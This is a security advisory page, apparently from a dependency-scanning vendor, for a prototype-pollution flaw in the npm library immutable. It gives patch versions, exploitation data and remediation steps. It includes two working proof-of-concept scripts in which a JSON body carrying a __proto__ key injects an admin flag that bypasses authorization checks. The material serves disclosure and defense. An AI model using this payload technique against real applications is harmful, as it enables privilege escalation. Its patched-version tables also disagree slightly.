NIST deprecates RSA-2048 from 2030. Find every one of them before attackers do.
📦 npm
Not in CISA KEV

CVE-2026-29063 — immutable

Fix: immutable-js/immutable-js@16b3313

CVE-2026-29063 is a CWE-1321 vulnerability in immutable. A fix is available for immutable — see the affected versions and patch details below.

Immutable.js: Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution') in immutable

Also known asGHSA-wf6x-7x77-mvgw
Published
Updated
Affected
3 pkgs
Patched
3 / 3
Exploits
None indexed
Exploitation data as of Nov 10, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

No confirmed exploitation observed yet

  • CISA assesses this as automatable — exploitation doesn’t require manual, per-target effort, which raises the odds of mass scanning and opportunistic attacks.
  • CISA’s own triage has not observed active exploitation or public proof-of-concept code for this CVE as of its last assessment.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-29063.

EPSS Exploitation Probability

via FIRST.org ↗
1.0%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs63th percentile — riskier than 63% of all scored CVEsHighest risk
0.00%0.58%1.16%1.74%0.2%1.0%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

Real-World Exposure

3 pkgs affected

How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.

8Kother npm packages depend on this — each one inherits the vulnerability until it's patched upstream
immutablenpm
57.4Mdownloads / week

Description

Impact

What kind of vulnerability is it? Who is impacted?

A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs.

Affected APIs

APINotes
mergeDeep(target, source)Iterates source keys via ObjectSeq, assigns merged[key]
mergeDeepWith(merger, target, source)Same code path
merge(target, source)Shallow variant, same assignment logic
Map.toJS()object[k] = v in toObject() with no __proto__ guard
Map.toObject()Same toObject() implementation
Map.mergeDeep(source)When source is converted to plain object

Patches

Has the problem been patched? What versions should users upgrade to?

major versionpatched version
3.x3.8.3
4.x4.3.7
5.x5.1.5

Workarounds

Is there a way for users to fix or remediate the vulnerability without upgrading?

Proof of Concept

PoC 1 — mergeDeep privilege escalation

"use strict";
const { mergeDeep } = require("immutable"); // v5.1.4

// Simulates: app merges HTTP request body (JSON) into user profile
const userProfile = { id: 1, name: "Alice", role: "user" };
const requestBody = JSON.parse(
  '{"name":"Eve","__proto__":{"role":"admin","admin":true}}',
);

const merged = mergeDeep(userProfile, requestBody);

console.log("merged.name:", merged.name); // Eve   (updated correctly)
console.log("merged.role:", merged.role); // user  (own property wins)
console.log("merged.admin:", merged.admin); // true  ← INJECTED via __proto__!

// Common security checks — both bypassed:
const isAdminByFlag = (u) => u.admin === true;
const isAdminByRole = (u) => u.role === "admin";
console.log("isAdminByFlag:", isAdminByFlag(merged)); // true  ← BYPASSED!
console.log("isAdminByRole:", isAdminByRole(merged)); // false (own role=user wins)

// Stealthy: Object.keys() hides 'admin'
console.log("Object.keys:", Object.keys(merged)); // ['id', 'name', 'role']
// But property lookup reveals it:
console.log("merged.admin:", merged.admin); // true

PoC 2 — All affected APIs

"use strict";
const { mergeDeep, mergeDeepWith, merge, Map } = require("immutable");

const payload = JSON.parse('{"__proto__":{"admin":true,"role":"superadmin"}}');

// 1. mergeDeep
const r1 = mergeDeep({ user: "alice" }, payload);
console.log("mergeDeep admin:", r1.admin); // true

// 2. mergeDeepWith
const r2 = mergeDeepWith((a, b) => b, { user: "alice" }, payload);
console.log("mergeDeepWith admin:", r2.admin); // true

// 3. merge
const r3 = merge({ user: "alice" }, payload);
console.log("merge admin:", r3.admin); // true

// 4. Map.toJS() with __proto__ key
const m = Map({ user: "alice" }).set("__proto__", { admin: true });
const r4 = m.toJS();
console.log("toJS admin:", r4.admin); // true

// 5. Map.toObject() with __proto__ key
const m2 = Map({ user: "alice" }).set("__proto__", { admin: true });
const r5 = m2.toObject();
console.log("toObject admin:", r5.admin); // true

// 6. Nested path
const nested = JSON.parse('{"profile":{"__proto__":{"admin":true}}}');
const r6 = mergeDeep({ profile: { bio: "Hello" } }, nested);
console.log("nested admin:", r6.profile.admin); // true

// 7. Confirm NOT global
console.log("({}).admin:", {}.admin); // undefined (global safe)

Verified output against [email protected]:

mergeDeep admin: true
mergeDeepWith admin: true
merge admin: true
toJS admin: true
toObject admin: true
nested admin: true
({}).admin: undefined  ← global Object.prototype NOT polluted

References

Are there any links users can visit to find out more?

Affected Packages

3 total 3 fixed
EcosystemPackageVulnerable rangeFix
📦npmimmutable≥ 4.0.0-rc.1&&< 4.3.84.3.8npm install immutable@4.3.8
📦npmimmutable≥ 5.0.0&&< 5.1.55.1.5npm install immutable@5.1.5
📦npmimmutableall versions3.8.3npm install immutable@3.8.3

Affected Products

27 products · 68 configurations
Application
immutableimmutable-js
≥ 5.0.0 && < 5.1.5
range
Application
3scale api management platformredhat
1 version
2.0
Application
advanced cluster management for kubernetesredhat
≥ 2.16 && < 2.16.1
range
Application
advanced cluster securityredhat
≥ 4.10.0 && < 4.10.2
range
Application
ansible automation platformredhat
1 version
2.0
Application
build of apicurio registryredhat
1 version
2.0

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for immutable, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update immutable to 4.3.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-29063 is resolved across your whole dependency graph.

  3. Workarounds

    Close the privilege gap rather than the entry point: audit which accounts, roles and service identities can reach the affected operation, drop the component to the least privilege it actually needs, and review file and directory permissions created by earlier installs — a default left in place is what makes this reachable.

Fixing This On Your OS

If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.

Red HatImportant

Exploitation of this vulnerability requires that an attacker is able to provide arbitrary data to clients of this library in a way that calls the affected functions with data the attacker controls. In most deployments, the ability to provide data in this fashion requires that an attacker has some degree of privileges…

ProductFixed inAdvisory
Cluster Observability Operator 1.5cluster-observability-operator/logging-console-plugin-pf4-rhel9:1782839279RHSA-2026:34342
Migration Toolkit for Virtualization 2.10migration-toolkit-virtualization/mtv-console-plugin-rhel9:1779139872RHSA-2026:19409
Migration Toolkit for Virtualization 2.9migration-toolkit-virtualization/mtv-console-plugin-rhel9:1778927462RHSA-2026:19410
multicluster engine for Kubernetes 2.10multicluster-engine/console-mce-rhel9:1777128790RHSA-2026:13542
multicluster engine for Kubernetes 2.11multicluster-engine/console-mce-rhel9:1777559392RHSA-2026:13853
multicluster engine for Kubernetes 2.6multicluster-engine/console-mce-rhel9:1776223790RHSA-2026:9848
multicluster engine for Kubernetes 2.7multicluster-engine/console-mce-rhel9:1777306226RHSA-2026:11858
multicluster engine for Kubernetes 2.8multicluster-engine/console-mce-rhel9:1775116156RHSA-2026:8218

Frequently Asked Questions

## Impact _What kind of vulnerability is it? Who is impacted?_ A Prototype Pollution is possible in immutable via the mergeDeep(), mergeDeepWith(), merge(), Map.toJS(), and Map.toObject() APIs. ## Affected APIs | API | Notes | | --------------------------------------- | ----------------------------------------------------------- | | `mergeDeep(target, source)` | Iterates source keys via `ObjectSeq`, assigns `merged[key]` | | `mergeDeepWith(merger, target, source)` | Same code path
O3 Security · Impact-Aware SCA

Is CVE-2026-29063 in your dependencies?

Find it across npm, including transitive dependencies.

CVE-2026-29063: immutable PrivEsc — Fixed in 4.3.8